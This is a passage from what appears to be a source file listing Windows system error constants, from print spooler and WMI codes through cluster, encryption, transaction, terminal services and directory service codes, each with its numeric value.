ERROR_DELETING_ICM_XFORM = 2309
ERROR_INVALID_TRANSFORM = 2310
ERROR_OPEN_FILES = 2401
ERROR_ACTIVE_CONNECTIONS = 2402
ERROR_DEVICE_IN_USE = 2404
ERROR_UNKNOWN_PRINT_MONITOR = 3000
ERROR_PRINTER_DRIVER_IN_USE = 3001
ERROR_SPOOL_FILE_NOT_FOUND = 3002
ERROR_SPL_NO_STARTDOC = 3003
ERROR_SPL_NO_ADDJOB = 3004
ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED = 3005
ERROR_PRINT_MONITOR_ALREADY_INSTALLED = 3006
ERROR_INVALID_PRINT_MONITOR = 3007
ERROR_PRINT_MONITOR_IN_USE = 3008
ERROR_PRINTER_HAS_JOBS_QUEUED = 3009
ERROR_SUCCESS_REBOOT_REQUIRED = 3010
ERROR_SUCCESS_RESTART_REQUIRED = 3011
ERROR_PRINTER_NOT_FOUND = 3012
ERROR_PRINTER_DRIVER_WARNED = 3013
ERROR_PRINTER_DRIVER_BLOCKED = 3014
ERROR_PRINTER_DRIVER_PACKAGE_IN_USE = 3015
ERROR_CORE_DRIVER_PACKAGE_NOT_FOUND = 3016
ERROR_FAIL_REBOOT_REQUIRED = 3017
ERROR_FAIL_REBOOT_INITIATED = 3018
ERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED = 3019
ERROR_PRINT_JOB_RESTART_REQUIRED = 3020
ERROR_IO_REISSUE_AS_CACHED = 3950
ERROR_WINS_INTERNAL = 4000
ERROR_CAN_NOT_DEL_LOCAL_WINS = 4001
ERROR_STATIC_INIT = 4002
ERROR_INC_BACKUP = 4003
ERROR_FULL_BACKUP = 4004
ERROR_REC_NON_EXISTENT = 4005
ERROR_RPL_NOT_ALLOWED = 4006
ERROR_DHCP_ADDRESS_CONFLICT = 4100
ERROR_WMI_GUID_NOT_FOUND = 4200
ERROR_WMI_INSTANCE_NOT_FOUND = 4201
ERROR_WMI_ITEMID_NOT_FOUND = 4202
ERROR_WMI_TRY_AGAIN = 4203
ERROR_WMI_DP_NOT_FOUND = 4204
ERROR_WMI_UNRESOLVED_INSTANCE_REF = 4205
ERROR_WMI_ALREADY_ENABLED = 4206
ERROR_WMI_GUID_DISCONNECTED = 4207
ERROR_WMI_SERVER_UNAVAILABLE = 4208
ERROR_WMI_DP_FAILED = 4209
ERROR_WMI_INVALID_MOF = 4210
ERROR_WMI_INVALID_REGINFO = 4211
ERROR_WMI_ALREADY_DISABLED = 4212
ERROR_WMI_READ_ONLY = 4213
ERROR_WMI_SET_FAILURE = 4214
ERROR_INVALID_MEDIA = 4300
ERROR_INVALID_LIBRARY = 4301
ERROR_INVALID_MEDIA_POOL = 4302
ERROR_DRIVE_MEDIA_MISMATCH = 4303
ERROR_MEDIA_OFFLINE = 4304
ERROR_LIBRARY_OFFLINE = 4305
ERROR_EMPTY = 4306
ERROR_NOT_EMPTY = 4307
ERROR_MEDIA_UNAVAILABLE = 4308
ERROR_RESOURCE_DISABLED = 4309
ERROR_INVALID_CLEANER = 4310
ERROR_UNABLE_TO_CLEAN = 4311
ERROR_OBJECT_NOT_FOUND = 4312
ERROR_DATABASE_FAILURE = 4313
ERROR_DATABASE_FULL = 4314
ERROR_MEDIA_INCOMPATIBLE = 4315
ERROR_RESOURCE_NOT_PRESENT = 4316
ERROR_INVALID_OPERATION = 4317
ERROR_MEDIA_NOT_AVAILABLE = 4318
ERROR_DEVICE_NOT_AVAILABLE = 4319
ERROR_REQUEST_REFUSED = 4320
ERROR_INVALID_DRIVE_OBJECT = 4321
ERROR_LIBRARY_FULL = 4322
ERROR_MEDIUM_NOT_ACCESSIBLE = 4323
ERROR_UNABLE_TO_LOAD_MEDIUM = 4324
ERROR_UNABLE_TO_INVENTORY_DRIVE = 4325
ERROR_UNABLE_TO_INVENTORY_SLOT = 4326
ERROR_UNABLE_TO_INVENTORY_TRANSPORT = 4327
ERROR_TRANSPORT_FULL = 4328
ERROR_CONTROLLING_IEPORT = 4329
ERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA = 4330
ERROR_CLEANER_SLOT_SET = 4331
ERROR_CLEANER_SLOT_NOT_SET = 4332
ERROR_CLEANER_CARTRIDGE_SPENT = 4333
ERROR_UNEXPECTED_OMID = 4334
ERROR_CANT_DELETE_LAST_ITEM = 4335
ERROR_MESSAGE_EXCEEDS_MAX_SIZE = 4336
ERROR_VOLUME_CONTAINS_SYS_FILES = 4337
ERROR_INDIGENOUS_TYPE = 4338
ERROR_NO_SUPPORTING_DRIVES = 4339
ERROR_CLEANER_CARTRIDGE_INSTALLED = 4340
ERROR_IEPORT_FULL = 4341
ERROR_FILE_OFFLINE = 4350
ERROR_REMOTE_STORAGE_NOT_ACTIVE = 4351
ERROR_REMOTE_STORAGE_MEDIA_ERROR = 4352
ERROR_NOT_A_REPARSE_POINT = 4390
ERROR_REPARSE_ATTRIBUTE_CONFLICT = 4391
ERROR_INVALID_REPARSE_DATA = 4392
ERROR_REPARSE_TAG_INVALID = 4393
ERROR_REPARSE_TAG_MISMATCH = 4394
ERROR_VOLUME_NOT_SIS_ENABLED = 4500
ERROR_DEPENDENT_RESOURCE_EXISTS = 5001
ERROR_DEPENDENCY_NOT_FOUND = 5002
ERROR_DEPENDENCY_ALREADY_EXISTS = 5003
ERROR_RESOURCE_NOT_ONLINE = 5004
ERROR_HOST_NODE_NOT_AVAILABLE = 5005
ERROR_RESOURCE_NOT_AVAILABLE = 5006
ERROR_RESOURCE_NOT_FOUND = 5007
ERROR_SHUTDOWN_CLUSTER = 5008
ERROR_CANT_EVICT_ACTIVE_NODE = 5009
ERROR_OBJECT_ALREADY_EXISTS = 5010
ERROR_OBJECT_IN_LIST = 5011
ERROR_GROUP_NOT_AVAILABLE = 5012
ERROR_GROUP_NOT_FOUND = 5013
ERROR_GROUP_NOT_ONLINE = 5014
ERROR_HOST_NODE_NOT_RESOURCE_OWNER = 5015
ERROR_HOST_NODE_NOT_GROUP_OWNER = 5016
ERROR_RESMON_CREATE_FAILED = 5017
ERROR_RESMON_ONLINE_FAILED = 5018
ERROR_RESOURCE_ONLINE = 5019
ERROR_QUORUM_RESOURCE = 5020
ERROR_NOT_QUORUM_CAPABLE = 5021
ERROR_CLUSTER_SHUTTING_DOWN = 5022
ERROR_INVALID_STATE = 5023
ERROR_RESOURCE_PROPERTIES_STORED = 5024
ERROR_NOT_QUORUM_CLASS = 5025
ERROR_CORE_RESOURCE = 5026
ERROR_QUORUM_RESOURCE_ONLINE_FAILED = 5027
ERROR_QUORUMLOG_OPEN_FAILED = 5028
ERROR_CLUSTERLOG_CORRUPT = 5029
ERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE = 5030
ERROR_CLUSTERLOG_EXCEEDS_MAXSIZE = 5031
ERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND = 5032
ERROR_CLUSTERLOG_NOT_ENOUGH_SPACE = 5033
ERROR_QUORUM_OWNER_ALIVE = 5034
ERROR_NETWORK_NOT_AVAILABLE = 5035
ERROR_NODE_NOT_AVAILABLE = 5036
ERROR_ALL_NODES_NOT_AVAILABLE = 5037
ERROR_RESOURCE_FAILED = 5038
ERROR_CLUSTER_INVALID_NODE = 5039
ERROR_CLUSTER_NODE_EXISTS = 5040
ERROR_CLUSTER_JOIN_IN_PROGRESS = 5041
ERROR_CLUSTER_NODE_NOT_FOUND = 5042
ERROR_CLUSTER_LOCAL_NODE_NOT_FOUND = 5043
ERROR_CLUSTER_NETWORK_EXISTS = 5044
ERROR_CLUSTER_NETWORK_NOT_FOUND = 5045
ERROR_CLUSTER_NETINTERFACE_EXISTS = 5046
ERROR_CLUSTER_NETINTERFACE_NOT_FOUND = 5047
ERROR_CLUSTER_INVALID_REQUEST = 5048
ERROR_CLUSTER_INVALID_NETWORK_PROVIDER = 5049
ERROR_CLUSTER_NODE_DOWN = 5050
ERROR_CLUSTER_NODE_UNREACHABLE = 5051
ERROR_CLUSTER_NODE_NOT_MEMBER = 5052
ERROR_CLUSTER_JOIN_NOT_IN_PROGRESS = 5053
ERROR_CLUSTER_INVALID_NETWORK = 5054
ERROR_CLUSTER_NODE_UP = 5056
ERROR_CLUSTER_IPADDR_IN_USE = 5057
ERROR_CLUSTER_NODE_NOT_PAUSED = 5058
ERROR_CLUSTER_NO_SECURITY_CONTEXT = 5059
ERROR_CLUSTER_NETWORK_NOT_INTERNAL = 5060
ERROR_CLUSTER_NODE_ALREADY_UP = 5061
ERROR_CLUSTER_NODE_ALREADY_DOWN = 5062
ERROR_CLUSTER_NETWORK_ALREADY_ONLINE = 5063
ERROR_CLUSTER_NETWORK_ALREADY_OFFLINE = 5064
ERROR_CLUSTER_NODE_ALREADY_MEMBER = 5065
ERROR_CLUSTER_LAST_INTERNAL_NETWORK = 5066
ERROR_CLUSTER_NETWORK_HAS_DEPENDENTS = 5067
ERROR_INVALID_OPERATION_ON_QUORUM = 5068
ERROR_DEPENDENCY_NOT_ALLOWED = 5069
ERROR_CLUSTER_NODE_PAUSED = 5070
ERROR_NODE_CANT_HOST_RESOURCE = 5071
ERROR_CLUSTER_NODE_NOT_READY = 5072
ERROR_CLUSTER_NODE_SHUTTING_DOWN = 5073
ERROR_CLUSTER_JOIN_ABORTED = 5074
ERROR_CLUSTER_INCOMPATIBLE_VERSIONS = 5075
ERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED = 5076
ERROR_CLUSTER_SYSTEM_CONFIG_CHANGED = 5077
ERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND = 5078
ERROR_CLUSTER_RESTYPE_NOT_SUPPORTED = 5079
ERROR_CLUSTER_RESNAME_NOT_FOUND = 5080
ERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED = 5081
ERROR_CLUSTER_OWNER_NOT_IN_PREFLIST = 5082
ERROR_CLUSTER_DATABASE_SEQMISMATCH = 5083
ERROR_RESMON_INVALID_STATE = 5084
ERROR_CLUSTER_GUM_NOT_LOCKER = 5085
ERROR_QUORUM_DISK_NOT_FOUND = 5086
ERROR_DATABASE_BACKUP_CORRUPT = 5087
ERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT = 5088
ERROR_RESOURCE_PROPERTY_UNCHANGEABLE = 5089
ERROR_CLUSTER_MEMBERSHIP_INVALID_STATE = 5890
ERROR_CLUSTER_QUORUMLOG_NOT_FOUND = 5891
ERROR_CLUSTER_MEMBERSHIP_HALT = 5892
ERROR_CLUSTER_INSTANCE_ID_MISMATCH = 5893
ERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP = 5894
ERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH = 5895
ERROR_CLUSTER_EVICT_WITHOUT_CLEANUP = 5896
ERROR_CLUSTER_PARAMETER_MISMATCH = 5897
ERROR_NODE_CANNOT_BE_CLUSTERED = 5898
ERROR_CLUSTER_WRONG_OS_VERSION = 5899
ERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME = 5900
ERROR_CLUSCFG_ALREADY_COMMITTED = 5901
ERROR_CLUSCFG_ROLLBACK_FAILED = 5902
ERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT = 5903
ERROR_CLUSTER_OLD_VERSION = 5904
ERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME = 5905
ERROR_CLUSTER_NO_NET_ADAPTERS = 5906
ERROR_CLUSTER_POISONED = 5907
ERROR_CLUSTER_GROUP_MOVING = 5908
ERROR_CLUSTER_RESOURCE_TYPE_BUSY = 5909
ERROR_RESOURCE_CALL_TIMED_OUT = 5910
ERROR_INVALID_CLUSTER_IPV6_ADDRESS = 5911
ERROR_CLUSTER_INTERNAL_INVALID_FUNCTION = 5912
ERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS = 5913
ERROR_CLUSTER_PARTIAL_SEND = 5914
ERROR_CLUSTER_REGISTRY_INVALID_FUNCTION = 5915
ERROR_CLUSTER_INVALID_STRING_TERMINATION = 5916
ERROR_CLUSTER_INVALID_STRING_FORMAT = 5917
ERROR_CLUSTER_DATABASE_TRANSACTION_IN_PROGRESS = 5918
ERROR_CLUSTER_DATABASE_TRANSACTION_NOT_IN_PROGRESS = 5919
ERROR_CLUSTER_NULL_DATA = 5920
ERROR_CLUSTER_PARTIAL_READ = 5921
ERROR_CLUSTER_PARTIAL_WRITE = 5922
ERROR_CLUSTER_CANT_DESERIALIZE_DATA = 5923
ERROR_DEPENDENT_RESOURCE_PROPERTY_CONFLICT = 5924
ERROR_CLUSTER_NO_QUORUM = 5925
ERROR_CLUSTER_INVALID_IPV6_NETWORK = 5926
ERROR_CLUSTER_INVALID_IPV6_TUNNEL_NETWORK = 5927
ERROR_QUORUM_NOT_ALLOWED_IN_THIS_GROUP = 5928
ERROR_DEPENDENCY_TREE_TOO_COMPLEX = 5929
ERROR_EXCEPTION_IN_RESOURCE_CALL = 5930
ERROR_CLUSTER_RHS_FAILED_INITIALIZATION = 5931
ERROR_CLUSTER_NOT_INSTALLED = 5932
ERROR_CLUSTER_RESOURCES_MUST_BE_ONLINE_ON_THE_SAME_NODE = 5933
ERROR_ENCRYPTION_FAILED = 6000
ERROR_DECRYPTION_FAILED = 6001
ERROR_FILE_ENCRYPTED = 6002
ERROR_NO_RECOVERY_POLICY = 6003
ERROR_NO_EFS = 6004
ERROR_WRONG_EFS = 6005
ERROR_NO_USER_KEYS = 6006
ERROR_FILE_NOT_ENCRYPTED = 6007
ERROR_NOT_EXPORT_FORMAT = 6008
ERROR_FILE_READ_ONLY = 6009
ERROR_DIR_EFS_DISALLOWED = 6010
ERROR_EFS_SERVER_NOT_TRUSTED = 6011
ERROR_BAD_RECOVERY_POLICY = 6012
ERROR_EFS_ALG_BLOB_TOO_BIG = 6013
ERROR_VOLUME_NOT_SUPPORT_EFS = 6014
ERROR_EFS_DISABLED = 6015
ERROR_EFS_VERSION_NOT_SUPPORT = 6016
ERROR_CS_ENCRYPTION_INVALID_SERVER_RESPONSE = 6017
ERROR_CS_ENCRYPTION_UNSUPPORTED_SERVER = 6018
ERROR_CS_ENCRYPTION_EXISTING_ENCRYPTED_FILE = 6019
ERROR_CS_ENCRYPTION_NEW_ENCRYPTED_FILE = 6020
ERROR_CS_ENCRYPTION_FILE_NOT_CSE = 6021
ERROR_NO_BROWSER_SERVERS_FOUND = 6118
ERROR_LOG_SECTOR_INVALID = 6600
ERROR_LOG_SECTOR_PARITY_INVALID = 6601
ERROR_LOG_SECTOR_REMAPPED = 6602
ERROR_LOG_BLOCK_INCOMPLETE = 6603
ERROR_LOG_INVALID_RANGE = 6604
ERROR_LOG_BLOCKS_EXHAUSTED = 6605
ERROR_LOG_READ_CONTEXT_INVALID = 6606
ERROR_LOG_RESTART_INVALID = 6607
ERROR_LOG_BLOCK_VERSION = 6608
ERROR_LOG_BLOCK_INVALID = 6609
ERROR_LOG_READ_MODE_INVALID = 6610
ERROR_LOG_NO_RESTART = 6611
ERROR_LOG_METADATA_CORRUPT = 6612
ERROR_LOG_METADATA_INVALID = 6613
ERROR_LOG_METADATA_INCONSISTENT = 6614
ERROR_LOG_RESERVATION_INVALID = 6615
ERROR_LOG_CANT_DELETE = 6616
ERROR_LOG_CONTAINER_LIMIT_EXCEEDED = 6617
ERROR_LOG_START_OF_LOG = 6618
ERROR_LOG_POLICY_ALREADY_INSTALLED = 6619
ERROR_LOG_POLICY_NOT_INSTALLED = 6620
ERROR_LOG_POLICY_INVALID = 6621
ERROR_LOG_POLICY_CONFLICT = 6622
ERROR_LOG_PINNED_ARCHIVE_TAIL = 6623
ERROR_LOG_RECORD_NONEXISTENT = 6624
ERROR_LOG_RECORDS_RESERVED_INVALID = 6625
ERROR_LOG_SPACE_RESERVED_INVALID = 6626
ERROR_LOG_TAIL_INVALID = 6627
ERROR_LOG_FULL = 6628
ERROR_COULD_NOT_RESIZE_LOG = 6629
ERROR_LOG_MULTIPLEXED = 6630
ERROR_LOG_DEDICATED = 6631
ERROR_LOG_ARCHIVE_NOT_IN_PROGRESS = 6632
ERROR_LOG_ARCHIVE_IN_PROGRESS = 6633
ERROR_LOG_EPHEMERAL = 6634
ERROR_LOG_NOT_ENOUGH_CONTAINERS = 6635
ERROR_LOG_CLIENT_ALREADY_REGISTERED = 6636
ERROR_LOG_CLIENT_NOT_REGISTERED = 6637
ERROR_LOG_FULL_HANDLER_IN_PROGRESS = 6638
ERROR_LOG_CONTAINER_READ_FAILED = 6639
ERROR_LOG_CONTAINER_WRITE_FAILED = 6640
ERROR_LOG_CONTAINER_OPEN_FAILED = 6641
ERROR_LOG_CONTAINER_STATE_INVALID = 6642
ERROR_LOG_STATE_INVALID = 6643
ERROR_LOG_PINNED = 6644
ERROR_LOG_METADATA_FLUSH_FAILED = 6645
ERROR_LOG_INCONSISTENT_SECURITY = 6646
ERROR_LOG_APPENDED_FLUSH_FAILED = 6647
ERROR_LOG_PINNED_RESERVATION = 6648
ERROR_INVALID_TRANSACTION = 6700
ERROR_TRANSACTION_NOT_ACTIVE = 6701
ERROR_TRANSACTION_REQUEST_NOT_VALID = 6702
ERROR_TRANSACTION_NOT_REQUESTED = 6703
ERROR_TRANSACTION_ALREADY_ABORTED = 6704
ERROR_TRANSACTION_ALREADY_COMMITTED = 6705
ERROR_TM_INITIALIZATION_FAILED = 6706
ERROR_RESOURCEMANAGER_READ_ONLY = 6707
ERROR_TRANSACTION_NOT_JOINED = 6708
ERROR_TRANSACTION_SUPERIOR_EXISTS = 6709
ERROR_CRM_PROTOCOL_ALREADY_EXISTS = 6710
ERROR_TRANSACTION_PROPAGATION_FAILED = 6711
ERROR_CRM_PROTOCOL_NOT_FOUND = 6712
ERROR_TRANSACTION_INVALID_MARSHALL_BUFFER = 6713
ERROR_CURRENT_TRANSACTION_NOT_VALID = 6714
ERROR_TRANSACTION_NOT_FOUND = 6715
ERROR_RESOURCEMANAGER_NOT_FOUND = 6716
ERROR_ENLISTMENT_NOT_FOUND = 6717
ERROR_TRANSACTIONMANAGER_NOT_FOUND = 6718
ERROR_TRANSACTIONMANAGER_NOT_ONLINE = 6719
ERROR_TRANSACTIONMANAGER_RECOVERY_NAME_COLLISION = 6720
ERROR_TRANSACTION_NOT_ROOT = 6721
ERROR_TRANSACTION_OBJECT_EXPIRED = 6722
ERROR_TRANSACTION_RESPONSE_NOT_ENLISTED = 6723
ERROR_TRANSACTION_RECORD_TOO_LONG = 6724
ERROR_IMPLICIT_TRANSACTION_NOT_SUPPORTED = 6725
ERROR_TRANSACTION_INTEGRITY_VIOLATED = 6726
ERROR_TRANSACTIONAL_CONFLICT = 6800
ERROR_RM_NOT_ACTIVE = 6801
ERROR_RM_METADATA_CORRUPT = 6802
ERROR_DIRECTORY_NOT_RM = 6803
ERROR_TRANSACTIONS_UNSUPPORTED_REMOTE = 6805
ERROR_LOG_RESIZE_INVALID_SIZE = 6806
ERROR_OBJECT_NO_LONGER_EXISTS = 6807
ERROR_STREAM_MINIVERSION_NOT_FOUND = 6808
ERROR_STREAM_MINIVERSION_NOT_VALID = 6809
ERROR_MINIVERSION_INACCESSIBLE_FROM_SPECIFIED_TRANSACTION = 6810
ERROR_CANT_OPEN_MINIVERSION_WITH_MODIFY_INTENT = 6811
ERROR_CANT_CREATE_MORE_STREAM_MINIVERSIONS = 6812
ERROR_REMOTE_FILE_VERSION_MISMATCH = 6814
ERROR_HANDLE_NO_LONGER_VALID = 6815
ERROR_NO_TXF_METADATA = 6816
ERROR_LOG_CORRUPTION_DETECTED = 6817
ERROR_CANT_RECOVER_WITH_HANDLE_OPEN = 6818
ERROR_RM_DISCONNECTED = 6819
ERROR_ENLISTMENT_NOT_SUPERIOR = 6820
ERROR_RECOVERY_NOT_NEEDED = 6821
ERROR_RM_ALREADY_STARTED = 6822
ERROR_FILE_IDENTITY_NOT_PERSISTENT = 6823
ERROR_CANT_BREAK_TRANSACTIONAL_DEPENDENCY = 6824
ERROR_CANT_CROSS_RM_BOUNDARY = 6825
ERROR_TXF_DIR_NOT_EMPTY = 6826
ERROR_INDOUBT_TRANSACTIONS_EXIST = 6827
ERROR_TM_VOLATILE = 6828
ERROR_ROLLBACK_TIMER_EXPIRED = 6829
ERROR_TXF_ATTRIBUTE_CORRUPT = 6830
ERROR_EFS_NOT_ALLOWED_IN_TRANSACTION = 6831
ERROR_TRANSACTIONAL_OPEN_NOT_ALLOWED = 6832
ERROR_LOG_GROWTH_FAILED = 6833
ERROR_TRANSACTED_MAPPING_UNSUPPORTED_REMOTE = 6834
ERROR_TXF_METADATA_ALREADY_PRESENT = 6835
ERROR_TRANSACTION_SCOPE_CALLBACKS_NOT_SET = 6836
ERROR_TRANSACTION_REQUIRED_PROMOTION = 6837
ERROR_CANNOT_EXECUTE_FILE_IN_TRANSACTION = 6838
ERROR_TRANSACTIONS_NOT_FROZEN = 6839
ERROR_TRANSACTION_FREEZE_IN_PROGRESS = 6840
ERROR_NOT_SNAPSHOT_VOLUME = 6841
ERROR_NO_SAVEPOINT_WITH_OPEN_FILES = 6842
ERROR_DATA_LOST_REPAIR = 6843
ERROR_SPARSE_NOT_ALLOWED_IN_TRANSACTION = 6844
ERROR_TM_IDENTITY_MISMATCH = 6845
ERROR_FLOATED_SECTION = 6846
ERROR_CANNOT_ACCEPT_TRANSACTED_WORK = 6847
ERROR_CANNOT_ABORT_TRANSACTIONS = 6848
ERROR_BAD_CLUSTERS = 6849
ERROR_COMPRESSION_NOT_ALLOWED_IN_TRANSACTION = 6850
ERROR_VOLUME_DIRTY = 6851
ERROR_NO_LINK_TRACKING_IN_TRANSACTION = 6852
ERROR_OPERATION_NOT_SUPPORTED_IN_TRANSACTION = 6853
ERROR_CTX_WINSTATION_NAME_INVALID = 7001
ERROR_CTX_INVALID_PD = 7002
ERROR_CTX_PD_NOT_FOUND = 7003
ERROR_CTX_WD_NOT_FOUND = 7004
ERROR_CTX_CANNOT_MAKE_EVENTLOG_ENTRY = 7005
ERROR_CTX_SERVICE_NAME_COLLISION = 7006
ERROR_CTX_CLOSE_PENDING = 7007
ERROR_CTX_NO_OUTBUF = 7008
ERROR_CTX_MODEM_INF_NOT_FOUND = 7009
ERROR_CTX_INVALID_MODEMNAME = 7010
ERROR_CTX_MODEM_RESPONSE_ERROR = 7011
ERROR_CTX_MODEM_RESPONSE_TIMEOUT = 7012
ERROR_CTX_MODEM_RESPONSE_NO_CARRIER = 7013
ERROR_CTX_MODEM_RESPONSE_NO_DIALTONE = 7014
ERROR_CTX_MODEM_RESPONSE_BUSY = 7015
ERROR_CTX_MODEM_RESPONSE_VOICE = 7016
ERROR_CTX_TD_ERROR = 7017
ERROR_CTX_WINSTATION_NOT_FOUND = 7022
ERROR_CTX_WINSTATION_ALREADY_EXISTS = 7023
ERROR_CTX_WINSTATION_BUSY = 7024
ERROR_CTX_BAD_VIDEO_MODE = 7025
ERROR_CTX_GRAPHICS_INVALID = 7035
ERROR_CTX_LOGON_DISABLED = 7037
ERROR_CTX_NOT_CONSOLE = 7038
ERROR_CTX_CLIENT_QUERY_TIMEOUT = 7040
ERROR_CTX_CONSOLE_DISCONNECT = 7041
ERROR_CTX_CONSOLE_CONNECT = 7042
ERROR_CTX_SHADOW_DENIED = 7044
ERROR_CTX_WINSTATION_ACCESS_DENIED = 7045
ERROR_CTX_INVALID_WD = 7049
ERROR_CTX_SHADOW_INVALID = 7050
ERROR_CTX_SHADOW_DISABLED = 7051
ERROR_CTX_CLIENT_LICENSE_IN_USE = 7052
ERROR_CTX_CLIENT_LICENSE_NOT_SET = 7053
ERROR_CTX_LICENSE_NOT_AVAILABLE = 7054
ERROR_CTX_LICENSE_CLIENT_INVALID = 7055
ERROR_CTX_LICENSE_EXPIRED = 7056
ERROR_CTX_SHADOW_NOT_RUNNING = 7057
ERROR_CTX_SHADOW_ENDED_BY_MODE_CHANGE = 7058
ERROR_ACTIVATION_COUNT_EXCEEDED = 7059
ERROR_CTX_WINSTATIONS_DISABLED = 7060
ERROR_CTX_ENCRYPTION_LEVEL_REQUIRED = 7061
ERROR_CTX_SESSION_IN_USE = 7062
ERROR_CTX_NO_FORCE_LOGOFF = 7063
ERROR_CTX_ACCOUNT_RESTRICTION = 7064
ERROR_RDP_PROTOCOL_ERROR = 7065
ERROR_CTX_CDM_CONNECT = 7066
ERROR_CTX_CDM_DISCONNECT = 7067
ERROR_CTX_SECURITY_LAYER_ERROR = 7068
ERROR_TS_INCOMPATIBLE_SESSIONS = 7069
FRS_ERR_INVALID_API_SEQUENCE = 8001
FRS_ERR_STARTING_SERVICE = 8002
FRS_ERR_STOPPING_SERVICE = 8003
FRS_ERR_INTERNAL_API = 8004
FRS_ERR_INTERNAL = 8005
FRS_ERR_SERVICE_COMM = 8006
FRS_ERR_INSUFFICIENT_PRIV = 8007
FRS_ERR_AUTHENTICATION = 8008
FRS_ERR_PARENT_INSUFFICIENT_PRIV = 8009
FRS_ERR_PARENT_AUTHENTICATION = 8010
FRS_ERR_CHILD_TO_PARENT_COMM = 8011
FRS_ERR_PARENT_TO_CHILD_COMM = 8012
FRS_ERR_SYSVOL_POPULATE = 8013
FRS_ERR_SYSVOL_POPULATE_TIMEOUT = 8014
FRS_ERR_SYSVOL_IS_BUSY = 8015
FRS_ERR_SYSVOL_DEMOTE = 8016
FRS_ERR_INVALID_SERVICE_PARAMETER = 8017
DS_S_SUCCESS = NO_ERROR
ERROR_DS_NOT_INSTALLED = 8200
ERROR_DS_MEMBERSHIP_EVALUATED_LOCALLY = 8201
ERROR_DS_NO_ATTRIBUTE_OR_VALUE = 8202
ERROR_DS_INVALID_ATTRIBUTE_SYNTAX = 8203
ERROR_DS_ATTRIBUTE_TYPE_UNDEFINED = 8204
ERROR_DS_ATTRIBUTE_OR_VALUE_EXISTS = 8205
ERROR_DS_BUSY = 8206
ERROR_DS_UNAVAILABLE = 8207
ERROR_DS_NO_RIDS_ALLOCATED = 8208
ERROR_DS_NO_MORE_RIDS = 8209
ERROR_DS_INCORRECT_ROLE_OWNER = 8210
ERROR_DS_RIDMGR_INIT_ERROR = 8211
ERROR_DS_OBJ_CLASS_VIOLATION = 8212
ERROR_DS_CANT_ON_NON_LEAF = 8213
ERROR_DS_CANT_ON_RDN = 8214
ERROR_DS_CANT_MOD_OBJ_CLASS = 8215
ERROR_DS_CROSS_DOM_MOVE_ERROR = 8216
ERROR_DS_GC_NOT_AVAILABLE = 8217
ERROR_SHARED_POLICY = 8218
ERROR_POLICY_OBJECT_NOT_FOUND = 8219
ERROR_POLICY_ONLY_IN_DS = 8220
ERROR_PROMOTION_ACTIVE = 8221
ERROR_NO_PROMOTION_ACTIVE = 8222
ERROR_DS_OPERATIONS_ERROR = 8224
ERROR_DS_PROTOCOL_ERROR = 8225
ERROR_DS_TIMELIMIT_EXCEEDED = 8226
ERROR_DS_SIZELIMIT_EXCEEDED = 8227
ERROR_DS_ADMIN_LIMIT_EXCEEDED = 8228
ERROR_DS_COMPARE_FALSE = 8229
ERROR_DS_COMPARE_TRUE = 8230
ERROR_DS_AUTH_METHOD_NOT_SUPPORTED = 8231
ERROR_DS_STRONG_AUTH_REQUIRED = 8232
ERROR_DS_INAPPROPRIATE_AUTH = 8233
ERROR_DS_AUTH_UNKNOWN = 8234
ERROR_DS_REFERRAL = 8235
ERROR_DS_UNAVAILABLE_CRIT_EXTENSION = 8236
ERROR_DS_CONFIDENTIALITY_REQUIRED = 8237
ERROR_DS_INAPPROPRIATE_MATCHING = 8238
ERROR_DS_CONSTRAINT_VIOLATION = 8239
ERROR_DS_NO_SUCH_OBJECT = 8240
ERROR_DS_ALIAS_PROBLEM = 8241
ERROR_DS_INVALID_DN_SYNTAX = 8242
ERROR_DS_IS_LEAF = 8243
ERROR_DS_ALIAS_DEREF_PROBLEM = 8244
ERROR_DS_UNWILLING_TO_PERFORM = 8245
ERROR_DS_LOOP_DETECT = 8246
ERROR_DS_NAMING_VIOLATION = 8247
ERROR_DS_OBJECT_RESULTS_TOO_LARGE = 8248
ERROR_DS_AFFECTS_MULTIPLE_DSAS = 8249
ERROR_DS_SERVER_DOWN = 8250
ERROR_DS_LOCAL_ERROR = 8251
ERROR_DS_ENCODING_ERROR = 8252
ERROR_DS_DECODING_ERROR = 8253
ERROR_DS_FILTER_UNKNOWN = 8254
ERROR_DS_PARAM_ERROR = 8255
ERROR_DS_NOT_SUPPORTED = 8256
ERROR_DS_NO_RESULTS_RETURNED = 8257
ERROR_DS_CONTROL_NOT_FOUND = 8258
ERROR_DS_CLIENT_LOOP = 8259
ERROR_DS_REFERRAL_LIMIT_EXCEEDED = 8260
ERROR_DS_SORT_CONTROL_MISSING = 8261
ERROR_DS_OFFSET_RANGE_ERROR = 8262
ERROR_DS_ROOT_MUST_BE_NC = 8301
ERROR_DS_ADD_REPLICA_INHIBITED = 8302
ERROR_DS_ATT_NOT_DEF_IN_SCHEMA = 8303
ERROR_DS_MAX_OBJ_SIZE_EXCEEDED = 8304
ERROR_DS_OBJ_STRING_NAME_EXISTS = 8305
ERROR_DS_NO_RDN_DEFINED_IN_SCHEMA = 8306
ERROR_DS_RDN_DOESNT_MATCH_SCHEMA = 8307
ERROR_DS_NO_REQUESTED_ATTS_FOUND = 8308
ERROR_DS_USER_BUFFER_TO_SMALL = 8309
ERROR_DS_ATT_IS_NOT_ON_OBJ = 8310
ERROR_DS_ILLEGAL_MOD_OPERATION = 8311
ERROR_DS_OBJ_TOO_LARGE = 8312
ERROR_DS_BAD_INSTANCE_TYPE = 8313
ERROR_DS_MASTERDSA_REQUIRED = 8314
ERROR_DS_OBJECT_CLASS_REQUIRED = 8315
ERROR_DS_MISSING_REQUIRED_ATT = 8316
ERROR_DS_ATT_NOT_DEF_FOR_CLASS = 8317
